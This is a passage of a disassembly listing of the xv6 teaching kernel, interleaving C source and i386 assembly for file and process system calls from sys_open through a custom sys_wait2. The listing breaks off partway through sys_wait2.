-0xc(%ebp),%eax 80106bae: 0f b7 40 10 movzwl 0x10(%eax),%eax 80106bb2: 66 83 f8 01 cmp $0x1,%ax 80106bb6: 75 21 jne 80106bd9 <sys_open+0xe6> 80106bb8: 8b 45 e4 mov -0x1c(%ebp),%eax 80106bbb: 85 c0 test %eax,%eax 80106bbd: 74 1a je 80106bd9 <sys_open+0xe6> iunlockput(ip); 80106bbf: 8b 45 f4 mov -0xc(%ebp),%eax 80106bc2: 89 04 24 mov %eax,(%esp) 80106bc5: e8 c5 b7 ff ff call 8010238f <iunlockput> end_op(); 80106bca: e8 d3 d1 ff ff call 80103da2 <end_op> return -1; 80106bcf: b8 ff ff ff ff mov $0xffffffff,%eax 80106bd4: e9 b2 00 00 00 jmp 80106c8b <sys_open+0x198> } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80106bd9: e8 7a ab ff ff call 80101758 <filealloc> 80106bde: 89 45 f0 mov %eax,-0x10(%ebp) 80106be1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106be5: 74 14 je 80106bfb <sys_open+0x108> 80106be7: 8b 45 f0 mov -0x10(%ebp),%eax 80106bea: 89 04 24 mov %eax,(%esp) 80106bed: e8 2f f7 ff ff call 80106321 <fdalloc> 80106bf2: 89 45 ec mov %eax,-0x14(%ebp) 80106bf5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80106bf9: 79 28 jns 80106c23 <sys_open+0x130> if(f) 80106bfb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106bff: 74 0b je 80106c0c <sys_open+0x119> fileclose(f); 80106c01: 8b 45 f0 mov -0x10(%ebp),%eax 80106c04: 89 04 24 mov %eax,(%esp) 80106c07: e8 f4 ab ff ff call 80101800 <fileclose> iunlockput(ip); 80106c0c: 8b 45 f4 mov -0xc(%ebp),%eax 80106c0f: 89 04 24 mov %eax,(%esp) 80106c12: e8 78 b7 ff ff call 8010238f <iunlockput> end_op(); 80106c17: e8 86 d1 ff ff call 80103da2 <end_op> return -1; 80106c1c: b8 ff ff ff ff mov $0xffffffff,%eax 80106c21: eb 68 jmp 80106c8b <sys_open+0x198> } iunlock(ip); 80106c23: 8b 45 f4 mov -0xc(%ebp),%eax 80106c26: 89 04 24 mov %eax,(%esp) 80106c29: e8 2b b6 ff ff call 80102259 <iunlock> end_op(); 80106c2e: e8 6f d1 ff ff call 80103da2 <end_op> f->type = FD_INODE; 80106c33: 8b 45 f0 mov -0x10(%ebp),%eax 80106c36: c7 00 02 00 00 00 movl $0x2,(%eax) f->ip = ip; 80106c3c: 8b 45 f0 mov -0x10(%ebp),%eax 80106c3f: 8b 55 f4 mov -0xc(%ebp),%edx 80106c42: 89 50 10 mov %edx,0x10(%eax) f->off = 0; 80106c45: 8b 45 f0 mov -0x10(%ebp),%eax 80106c48: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax) f->readable = !(omode & O_WRONLY); 80106c4f: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c52: 83 e0 01 and $0x1,%eax 80106c55: 85 c0 test %eax,%eax 80106c57: 0f 94 c2 sete %dl 80106c5a: 8b 45 f0 mov -0x10(%ebp),%eax 80106c5d: 88 50 08 mov %dl,0x8(%eax) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80106c60: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c63: 83 e0 01 and $0x1,%eax 80106c66: 84 c0 test %al,%al 80106c68: 75 0a jne 80106c74 <sys_open+0x181> 80106c6a: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c6d: 83 e0 02 and $0x2,%eax 80106c70: 85 c0 test %eax,%eax 80106c72: 74 07 je 80106c7b <sys_open+0x188> 80106c74: b8 01 00 00 00 mov $0x1,%eax 80106c79: eb 05 jmp 80106c80 <sys_open+0x18d> 80106c7b: b8 00 00 00 00 mov $0x0,%eax 80106c80: 89 c2 mov %eax,%edx 80106c82: 8b 45 f0 mov -0x10(%ebp),%eax 80106c85: 88 50 09 mov %dl,0x9(%eax) return fd; 80106c88: 8b 45 ec mov -0x14(%ebp),%eax } 80106c8b: c9 leave 80106c8c: c3 ret 80106c8d <sys_mkdir>: int sys_mkdir(void) { 80106c8d: 55 push %ebp 80106c8e: 89 e5 mov %esp,%ebp 80106c90: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80106c93: e8 89 d0 ff ff call 80103d21 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80106c98: 8d 45 f0 lea -0x10(%ebp),%eax 80106c9b: 89 44 24 04 mov %eax,0x4(%esp) 80106c9f: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106ca6: e8 3b f5 ff ff call 801061e6 <argstr> 80106cab: 85 c0 test %eax,%eax 80106cad: 78 2c js 80106cdb <sys_mkdir+0x4e> 80106caf: 8b 45 f0 mov -0x10(%ebp),%eax 80106cb2: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 80106cb9: 00 80106cba: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80106cc1: 00 80106cc2: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80106cc9: 00 80106cca: 89 04 24 mov %eax,(%esp) 80106ccd: e8 61 fc ff ff call 80106933 <create> 80106cd2: 89 45 f4 mov %eax,-0xc(%ebp) 80106cd5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106cd9: 75 0c jne 80106ce7 <sys_mkdir+0x5a> end_op(); 80106cdb: e8 c2 d0 ff ff call 80103da2 <end_op> return -1; 80106ce0: b8 ff ff ff ff mov $0xffffffff,%eax 80106ce5: eb 15 jmp 80106cfc <sys_mkdir+0x6f> } iunlockput(ip); 80106ce7: 8b 45 f4 mov -0xc(%ebp),%eax 80106cea: 89 04 24 mov %eax,(%esp) 80106ced: e8 9d b6 ff ff call 8010238f <iunlockput> end_op(); 80106cf2: e8 ab d0 ff ff call 80103da2 <end_op> return 0; 80106cf7: b8 00 00 00 00 mov $0x0,%eax } 80106cfc: c9 leave 80106cfd: c3 ret 80106cfe <sys_mknod>: int sys_mknod(void) { 80106cfe: 55 push %ebp 80106cff: 89 e5 mov %esp,%ebp 80106d01: 83 ec 38 sub $0x38,%esp struct inode *ip; char *path; int len; int major, minor; begin_op(); 80106d04: e8 18 d0 ff ff call 80103d21 <begin_op> if((len=argstr(0, &path)) < 0 || 80106d09: 8d 45 ec lea -0x14(%ebp),%eax 80106d0c: 89 44 24 04 mov %eax,0x4(%esp) 80106d10: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106d17: e8 ca f4 ff ff call 801061e6 <argstr> 80106d1c: 89 45 f4 mov %eax,-0xc(%ebp) 80106d1f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106d23: 78 5e js 80106d83 <sys_mknod+0x85> argint(1, &major) < 0 || 80106d25: 8d 45 e8 lea -0x18(%ebp),%eax 80106d28: 89 44 24 04 mov %eax,0x4(%esp) 80106d2c: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106d33: e8 1e f4 ff ff call 80106156 <argint> char *path; int len; int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || 80106d38: 85 c0 test %eax,%eax 80106d3a: 78 47 js 80106d83 <sys_mknod+0x85> argint(1, &major) < 0 || argint(2, &minor) < 0 || 80106d3c: 8d 45 e4 lea -0x1c(%ebp),%eax 80106d3f: 89 44 24 04 mov %eax,0x4(%esp) 80106d43: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80106d4a: e8 07 f4 ff ff call 80106156 <argint> int len; int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || argint(1, &major) < 0 || 80106d4f: 85 c0 test %eax,%eax 80106d51: 78 30 js 80106d83 <sys_mknod+0x85> argint(2, &minor) < 0 || (ip = create(path, T_DEV, major, minor)) == 0){ 80106d53: 8b 45 e4 mov -0x1c(%ebp),%eax 80106d56: 0f bf c8 movswl %ax,%ecx 80106d59: 8b 45 e8 mov -0x18(%ebp),%eax 80106d5c: 0f bf d0 movswl %ax,%edx 80106d5f: 8b 45 ec mov -0x14(%ebp),%eax int major, minor; begin_op(); if((len=argstr(0, &path)) < 0 || argint(1, &major) < 0 || argint(2, &minor) < 0 || 80106d62: 89 4c 24 0c mov %ecx,0xc(%esp) 80106d66: 89 54 24 08 mov %edx,0x8(%esp) 80106d6a: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 80106d71: 00 80106d72: 89 04 24 mov %eax,(%esp) 80106d75: e8 b9 fb ff ff call 80106933 <create> 80106d7a: 89 45 f0 mov %eax,-0x10(%ebp) 80106d7d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106d81: 75 0c jne 80106d8f <sys_mknod+0x91> (ip = create(path, T_DEV, major, minor)) == 0){ end_op(); 80106d83: e8 1a d0 ff ff call 80103da2 <end_op> return -1; 80106d88: b8 ff ff ff ff mov $0xffffffff,%eax 80106d8d: eb 15 jmp 80106da4 <sys_mknod+0xa6> } iunlockput(ip); 80106d8f: 8b 45 f0 mov -0x10(%ebp),%eax 80106d92: 89 04 24 mov %eax,(%esp) 80106d95: e8 f5 b5 ff ff call 8010238f <iunlockput> end_op(); 80106d9a: e8 03 d0 ff ff call 80103da2 <end_op> return 0; 80106d9f: b8 00 00 00 00 mov $0x0,%eax } 80106da4: c9 leave 80106da5: c3 ret 80106da6 <sys_chdir>: int sys_chdir(void) { 80106da6: 55 push %ebp 80106da7: 89 e5 mov %esp,%ebp 80106da9: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80106dac: e8 70 cf ff ff call 80103d21 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80106db1: 8d 45 f0 lea -0x10(%ebp),%eax 80106db4: 89 44 24 04 mov %eax,0x4(%esp) 80106db8: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106dbf: e8 22 f4 ff ff call 801061e6 <argstr> 80106dc4: 85 c0 test %eax,%eax 80106dc6: 78 14 js 80106ddc <sys_chdir+0x36> 80106dc8: 8b 45 f0 mov -0x10(%ebp),%eax 80106dcb: 89 04 24 mov %eax,(%esp) 80106dce: e8 da be ff ff call 80102cad <namei> 80106dd3: 89 45 f4 mov %eax,-0xc(%ebp) 80106dd6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106dda: 75 0c jne 80106de8 <sys_chdir+0x42> end_op(); 80106ddc: e8 c1 cf ff ff call 80103da2 <end_op> return -1; 80106de1: b8 ff ff ff ff mov $0xffffffff,%eax 80106de6: eb 61 jmp 80106e49 <sys_chdir+0xa3> } ilock(ip); 80106de8: 8b 45 f4 mov -0xc(%ebp),%eax 80106deb: 89 04 24 mov %eax,(%esp) 80106dee: e8 12 b3 ff ff call 80102105 <ilock> if(ip->type != T_DIR){ 80106df3: 8b 45 f4 mov -0xc(%ebp),%eax 80106df6: 0f b7 40 10 movzwl 0x10(%eax),%eax 80106dfa: 66 83 f8 01 cmp $0x1,%ax 80106dfe: 74 17 je 80106e17 <sys_chdir+0x71> iunlockput(ip); 80106e00: 8b 45 f4 mov -0xc(%ebp),%eax 80106e03: 89 04 24 mov %eax,(%esp) 80106e06: e8 84 b5 ff ff call 8010238f <iunlockput> end_op(); 80106e0b: e8 92 cf ff ff call 80103da2 <end_op> return -1; 80106e10: b8 ff ff ff ff mov $0xffffffff,%eax 80106e15: eb 32 jmp 80106e49 <sys_chdir+0xa3> } iunlock(ip); 80106e17: 8b 45 f4 mov -0xc(%ebp),%eax 80106e1a: 89 04 24 mov %eax,(%esp) 80106e1d: e8 37 b4 ff ff call 80102259 <iunlock> iput(proc->cwd); 80106e22: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106e28: 8b 40 68 mov 0x68(%eax),%eax 80106e2b: 89 04 24 mov %eax,(%esp) 80106e2e: e8 8b b4 ff ff call 801022be <iput> end_op(); 80106e33: e8 6a cf ff ff call 80103da2 <end_op> proc->cwd = ip; 80106e38: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106e3e: 8b 55 f4 mov -0xc(%ebp),%edx 80106e41: 89 50 68 mov %edx,0x68(%eax) return 0; 80106e44: b8 00 00 00 00 mov $0x0,%eax } 80106e49: c9 leave 80106e4a: c3 ret 80106e4b <sys_exec>: int sys_exec(void) { 80106e4b: 55 push %ebp 80106e4c: 89 e5 mov %esp,%ebp 80106e4e: 81 ec a8 00 00 00 sub $0xa8,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80106e54: 8d 45 f0 lea -0x10(%ebp),%eax 80106e57: 89 44 24 04 mov %eax,0x4(%esp) 80106e5b: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106e62: e8 7f f3 ff ff call 801061e6 <argstr> 80106e67: 85 c0 test %eax,%eax 80106e69: 78 1a js 80106e85 <sys_exec+0x3a> 80106e6b: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax 80106e71: 89 44 24 04 mov %eax,0x4(%esp) 80106e75: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80106e7c: e8 d5 f2 ff ff call 80106156 <argint> 80106e81: 85 c0 test %eax,%eax 80106e83: 79 0a jns 80106e8f <sys_exec+0x44> return -1; 80106e85: b8 ff ff ff ff mov $0xffffffff,%eax 80106e8a: e9 cc 00 00 00 jmp 80106f5b <sys_exec+0x110> } memset(argv, 0, sizeof(argv)); 80106e8f: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 80106e96: 00 80106e97: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106e9e: 00 80106e9f: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax 80106ea5: 89 04 24 mov %eax,(%esp) 80106ea8: e8 4d ef ff ff call 80105dfa <memset> for(i=0;; i++){ 80106ead: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) if(i >= NELEM(argv)) 80106eb4: 8b 45 f4 mov -0xc(%ebp),%eax 80106eb7: 83 f8 1f cmp $0x1f,%eax 80106eba: 76 0a jbe 80106ec6 <sys_exec+0x7b> return -1; 80106ebc: b8 ff ff ff ff mov $0xffffffff,%eax 80106ec1: e9 95 00 00 00 jmp 80106f5b <sys_exec+0x110> if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80106ec6: 8b 45 f4 mov -0xc(%ebp),%eax 80106ec9: c1 e0 02 shl $0x2,%eax 80106ecc: 89 c2 mov %eax,%edx 80106ece: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax 80106ed4: 01 c2 add %eax,%edx 80106ed6: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80106edc: 89 44 24 04 mov %eax,0x4(%esp) 80106ee0: 89 14 24 mov %edx,(%esp) 80106ee3: e8 d0 f1 ff ff call 801060b8 <fetchint> 80106ee8: 85 c0 test %eax,%eax 80106eea: 79 07 jns 80106ef3 <sys_exec+0xa8> return -1; 80106eec: b8 ff ff ff ff mov $0xffffffff,%eax 80106ef1: eb 68 jmp 80106f5b <sys_exec+0x110> if(uarg == 0){ 80106ef3: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax 80106ef9: 85 c0 test %eax,%eax 80106efb: 75 26 jne 80106f23 <sys_exec+0xd8> argv[i] = 0; 80106efd: 8b 45 f4 mov -0xc(%ebp),%eax 80106f00: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4) 80106f07: 00 00 00 00 break; 80106f0b: 90 nop } if(fetchstr(uarg, &argv[i]) < 0) return -1; } return exec(path, argv); 80106f0c: 8b 45 f0 mov -0x10(%ebp),%eax 80106f0f: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx 80106f15: 89 54 24 04 mov %edx,0x4(%esp) 80106f19: 89 04 24 mov %eax,(%esp) 80106f1c: e8 fb a3 ff ff call 8010131c <exec> 80106f21: eb 38 jmp 80106f5b <sys_exec+0x110> return -1; if(uarg == 0){ argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80106f23: 8b 45 f4 mov -0xc(%ebp),%eax 80106f26: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80106f2d: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax 80106f33: 01 c2 add %eax,%edx 80106f35: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax 80106f3b: 89 54 24 04 mov %edx,0x4(%esp) 80106f3f: 89 04 24 mov %eax,(%esp) 80106f42: e8 ab f1 ff ff call 801060f2 <fetchstr> 80106f47: 85 c0 test %eax,%eax 80106f49: 79 07 jns 80106f52 <sys_exec+0x107> return -1; 80106f4b: b8 ff ff ff ff mov $0xffffffff,%eax 80106f50: eb 09 jmp 80106f5b <sys_exec+0x110> if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ return -1; } memset(argv, 0, sizeof(argv)); for(i=0;; i++){ 80106f52: 83 45 f4 01 addl $0x1,-0xc(%ebp) argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) return -1; } 80106f56: e9 59 ff ff ff jmp 80106eb4 <sys_exec+0x69> return exec(path, argv); } 80106f5b: c9 leave 80106f5c: c3 ret 80106f5d <sys_pipe>: int sys_pipe(void) { 80106f5d: 55 push %ebp 80106f5e: 89 e5 mov %esp,%ebp 80106f60: 83 ec 38 sub $0x38,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80106f63: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 80106f6a: 00 80106f6b: 8d 45 ec lea -0x14(%ebp),%eax 80106f6e: 89 44 24 04 mov %eax,0x4(%esp) 80106f72: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80106f79: e8 06 f2 ff ff call 80106184 <argptr> 80106f7e: 85 c0 test %eax,%eax 80106f80: 79 0a jns 80106f8c <sys_pipe+0x2f> return -1; 80106f82: b8 ff ff ff ff mov $0xffffffff,%eax 80106f87: e9 9b 00 00 00 jmp 80107027 <sys_pipe+0xca> if(pipealloc(&rf, &wf) < 0) 80106f8c: 8d 45 e4 lea -0x1c(%ebp),%eax 80106f8f: 89 44 24 04 mov %eax,0x4(%esp) 80106f93: 8d 45 e8 lea -0x18(%ebp),%eax 80106f96: 89 04 24 mov %eax,(%esp) 80106f99: e8 ae d8 ff ff call 8010484c <pipealloc> 80106f9e: 85 c0 test %eax,%eax 80106fa0: 79 07 jns 80106fa9 <sys_pipe+0x4c> return -1; 80106fa2: b8 ff ff ff ff mov $0xffffffff,%eax 80106fa7: eb 7e jmp 80107027 <sys_pipe+0xca> fd0 = -1; 80106fa9: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80106fb0: 8b 45 e8 mov -0x18(%ebp),%eax 80106fb3: 89 04 24 mov %eax,(%esp) 80106fb6: e8 66 f3 ff ff call 80106321 <fdalloc> 80106fbb: 89 45 f4 mov %eax,-0xc(%ebp) 80106fbe: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106fc2: 78 14 js 80106fd8 <sys_pipe+0x7b> 80106fc4: 8b 45 e4 mov -0x1c(%ebp),%eax 80106fc7: 89 04 24 mov %eax,(%esp) 80106fca: e8 52 f3 ff ff call 80106321 <fdalloc> 80106fcf: 89 45 f0 mov %eax,-0x10(%ebp) 80106fd2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80106fd6: 79 37 jns 8010700f <sys_pipe+0xb2> if(fd0 >= 0) 80106fd8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80106fdc: 78 14 js 80106ff2 <sys_pipe+0x95> proc->ofile[fd0] = 0; 80106fde: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80106fe4: 8b 55 f4 mov -0xc(%ebp),%edx 80106fe7: 83 c2 08 add $0x8,%edx 80106fea: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4) 80106ff1: 00 fileclose(rf); 80106ff2: 8b 45 e8 mov -0x18(%ebp),%eax 80106ff5: 89 04 24 mov %eax,(%esp) 80106ff8: e8 03 a8 ff ff call 80101800 <fileclose> fileclose(wf); 80106ffd: 8b 45 e4 mov -0x1c(%ebp),%eax 80107000: 89 04 24 mov %eax,(%esp) 80107003: e8 f8 a7 ff ff call 80101800 <fileclose> return -1; 80107008: b8 ff ff ff ff mov $0xffffffff,%eax 8010700d: eb 18 jmp 80107027 <sys_pipe+0xca> } fd[0] = fd0; 8010700f: 8b 45 ec mov -0x14(%ebp),%eax 80107012: 8b 55 f4 mov -0xc(%ebp),%edx 80107015: 89 10 mov %edx,(%eax) fd[1] = fd1; 80107017: 8b 45 ec mov -0x14(%ebp),%eax 8010701a: 8d 50 04 lea 0x4(%eax),%edx 8010701d: 8b 45 f0 mov -0x10(%ebp),%eax 80107020: 89 02 mov %eax,(%edx) return 0; 80107022: b8 00 00 00 00 mov $0x0,%eax } 80107027: c9 leave 80107028: c3 ret 80107029: 00 00 add %al,(%eax) ... 8010702c <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 8010702c: 55 push %ebp 8010702d: 89 e5 mov %esp,%ebp 8010702f: 83 ec 08 sub $0x8,%esp return fork(); 80107032: e8 d8 de ff ff call 80104f0f <fork> } 80107037: c9 leave 80107038: c3 ret 80107039 <sys_exit>: int sys_exit(void) { 80107039: 55 push %ebp 8010703a: 89 e5 mov %esp,%ebp 8010703c: 83 ec 08 sub $0x8,%esp exit(); 8010703f: e8 82 e0 ff ff call 801050c6 <exit> return 0; // not reached 80107044: b8 00 00 00 00 mov $0x0,%eax } 80107049: c9 leave 8010704a: c3 ret 8010704b <sys_wait>: int sys_wait(void) { 8010704b: 55 push %ebp 8010704c: 89 e5 mov %esp,%ebp 8010704e: 83 ec 08 sub $0x8,%esp return wait(); 80107051: e8 95 e1 ff ff call 801051eb <wait> } 80107056: c9 leave 80107057: c3 ret 80107058 <sys_kill>: int sys_kill(void) { 80107058: 55 push %ebp 80107059: 89 e5 mov %esp,%ebp 8010705b: 83 ec 28 sub $0x28,%esp int pid; if(argint(0, &pid) < 0) 8010705e: 8d 45 f4 lea -0xc(%ebp),%eax 80107061: 89 44 24 04 mov %eax,0x4(%esp) 80107065: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010706c: e8 e5 f0 ff ff call 80106156 <argint> 80107071: 85 c0 test %eax,%eax 80107073: 79 07 jns 8010707c <sys_kill+0x24> return -1; 80107075: b8 ff ff ff ff mov $0xffffffff,%eax 8010707a: eb 0b jmp 80107087 <sys_kill+0x2f> return kill(pid); 8010707c: 8b 45 f4 mov -0xc(%ebp),%eax 8010707f: 89 04 24 mov %eax,(%esp) 80107082: e8 4c e7 ff ff call 801057d3 <kill> } 80107087: c9 leave 80107088: c3 ret 80107089 <sys_getpid>: int sys_getpid(void) { 80107089: 55 push %ebp 8010708a: 89 e5 mov %esp,%ebp return proc->pid; 8010708c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107092: 8b 40 10 mov 0x10(%eax),%eax } 80107095: 5d pop %ebp 80107096: c3 ret 80107097 <sys_sbrk>: int sys_sbrk(void) { 80107097: 55 push %ebp 80107098: 89 e5 mov %esp,%ebp 8010709a: 83 ec 28 sub $0x28,%esp int addr; int n; if(argint(0, &n) < 0) 8010709d: 8d 45 f0 lea -0x10(%ebp),%eax 801070a0: 89 44 24 04 mov %eax,0x4(%esp) 801070a4: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801070ab: e8 a6 f0 ff ff call 80106156 <argint> 801070b0: 85 c0 test %eax,%eax 801070b2: 79 07 jns 801070bb <sys_sbrk+0x24> return -1; 801070b4: b8 ff ff ff ff mov $0xffffffff,%eax 801070b9: eb 24 jmp 801070df <sys_sbrk+0x48> addr = proc->sz; 801070bb: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801070c1: 8b 00 mov (%eax),%eax 801070c3: 89 45 f4 mov %eax,-0xc(%ebp) if(growproc(n) < 0) 801070c6: 8b 45 f0 mov -0x10(%ebp),%eax 801070c9: 89 04 24 mov %eax,(%esp) 801070cc: e8 99 dd ff ff call 80104e6a <growproc> 801070d1: 85 c0 test %eax,%eax 801070d3: 79 07 jns 801070dc <sys_sbrk+0x45> return -1; 801070d5: b8 ff ff ff ff mov $0xffffffff,%eax 801070da: eb 03 jmp 801070df <sys_sbrk+0x48> return addr; 801070dc: 8b 45 f4 mov -0xc(%ebp),%eax } 801070df: c9 leave 801070e0: c3 ret 801070e1 <sys_sleep>: int sys_sleep(void) { 801070e1: 55 push %ebp 801070e2: 89 e5 mov %esp,%ebp 801070e4: 83 ec 28 sub $0x28,%esp int n; uint ticks0; if(argint(0, &n) < 0) 801070e7: 8d 45 f0 lea -0x10(%ebp),%eax 801070ea: 89 44 24 04 mov %eax,0x4(%esp) 801070ee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801070f5: e8 5c f0 ff ff call 80106156 <argint> 801070fa: 85 c0 test %eax,%eax 801070fc: 79 07 jns 80107105 <sys_sleep+0x24> return -1; 801070fe: b8 ff ff ff ff mov $0xffffffff,%eax 80107103: eb 6c jmp 80107171 <sys_sleep+0x90> acquire(&tickslock); 80107105: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 8010710c: e8 9a ea ff ff call 80105bab <acquire> ticks0 = ticks; 80107111: a1 20 6e 11 80 mov 0x80116e20,%eax 80107116: 89 45 f4 mov %eax,-0xc(%ebp) while(ticks - ticks0 < n){ 80107119: eb 34 jmp 8010714f <sys_sleep+0x6e> if(proc->killed){ 8010711b: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80107121: 8b 40 24 mov 0x24(%eax),%eax 80107124: 85 c0 test %eax,%eax 80107126: 74 13 je 8010713b <sys_sleep+0x5a> release(&tickslock); 80107128: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 8010712f: e8 d9 ea ff ff call 80105c0d <release> return -1; 80107134: b8 ff ff ff ff mov $0xffffffff,%eax 80107139: eb 36 jmp 80107171 <sys_sleep+0x90> } sleep(&ticks, &tickslock); 8010713b: c7 44 24 04 e0 65 11 movl $0x801165e0,0x4(%esp) 80107142: 80 80107143: c7 04 24 20 6e 11 80 movl $0x80116e20,(%esp) 8010714a: e8 70 e5 ff ff call 801056bf <sleep> if(argint(0, &n) < 0) return -1; acquire(&tickslock); ticks0 = ticks; while(ticks - ticks0 < n){ 8010714f: a1 20 6e 11 80 mov 0x80116e20,%eax 80107154: 89 c2 mov %eax,%edx 80107156: 2b 55 f4 sub -0xc(%ebp),%edx 80107159: 8b 45 f0 mov -0x10(%ebp),%eax 8010715c: 39 c2 cmp %eax,%edx 8010715e: 72 bb jb 8010711b <sys_sleep+0x3a> release(&tickslock); return -1; } sleep(&ticks, &tickslock); } release(&tickslock); 80107160: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 80107167: e8 a1 ea ff ff call 80105c0d <release> return 0; 8010716c: b8 00 00 00 00 mov $0x0,%eax } 80107171: c9 leave 80107172: c3 ret 80107173 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80107173: 55 push %ebp 80107174: 89 e5 mov %esp,%ebp 80107176: 83 ec 28 sub $0x28,%esp uint xticks; acquire(&tickslock); 80107179: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 80107180: e8 26 ea ff ff call 80105bab <acquire> xticks = ticks; 80107185: a1 20 6e 11 80 mov 0x80116e20,%eax 8010718a: 89 45 f4 mov %eax,-0xc(%ebp) release(&tickslock); 8010718d: c7 04 24 e0 65 11 80 movl $0x801165e0,(%esp) 80107194: e8 74 ea ff ff call 80105c0d <release> return xticks; 80107199: 8b 45 f4 mov -0xc(%ebp),%eax } 8010719c: c9 leave 8010719d: c3 ret 8010719e <sys_wait2>: int sys_wait2(void) { 8010719e: 55 push %ebp 8010719f: 89 e5 mov %esp,%ebp 801071a1: 83 ec 28 sub $0x28,%esp int retime; int rutime; int stime; if(argint(0,&retime) < 0) 801071a4: 8d 45 f4 lea -0xc(%ebp),%eax 801071a7: 89 44 24 04 mov %eax,0x4(%esp) 801071ab: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801071b2: e8 9f ef ff ff call 80106156 <argint> 801071b7: 85 c0 test %eax,%eax 801071b9: 79 07 jns 801071c2 <sys_wait2+0x24> return -1; 801071bb: b8 ff ff ff ff mov $0xffffffff,%eax 801071c0: eb 59 jmp 8010721b <sys_wait2+0x7d> if(argint(1,&rutime) < 0) 801071c2: 8d 45 f0 lea -0x10(%ebp),%eax 801071c5: 89 44 24 04 mov %eax,0x4(%esp) 801071c9: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801071d0: e8 81 ef ff ff call 80106156 <argint> 801071d5: 85 c0 test %eax,%eax 801071d7: 79 07 jns 801071e0 <sys_wait2+0x42> return -1; 801071d9: b8 ff ff ff ff mov $0xffffffff,%eax 801071de: eb 3b jmp 8010721b <sys_wait2+0x7d> if(argint(2,&stime) < 0) 801071e0: 8d 45 ec lea -0x14(%ebp),%eax 801071e3: 89 44 24 04 mov %eax,0x4(%esp) 801071e7: c7 04 24 02 00 00 00 movl $0x2,(%esp) 801071ee: e8 63 ef ff ff call 80106156 <argint> 801071f3: 85 c0 test %eax,%eax 801071f5: 79 07 jns 801071fe <sys_wait2+0x60> return -1; 801071f7: b8 ff ff ff ff mov $0xffffffff,%eax 801071fc: eb 1d jmp 8010721b <sys_wait2+0x7d> return wait2((int*)retime, (int*)rutime, (int*)stime); 801071fe: 8b 45 ec mov -0x14(%ebp),%eax 80107201: 89 c1 mov %eax,%ecx 80107203: 8b 45 f0 mov -0x10(%ebp),%eax 80107206: 89 c2 mov %eax,%edx 80107208: 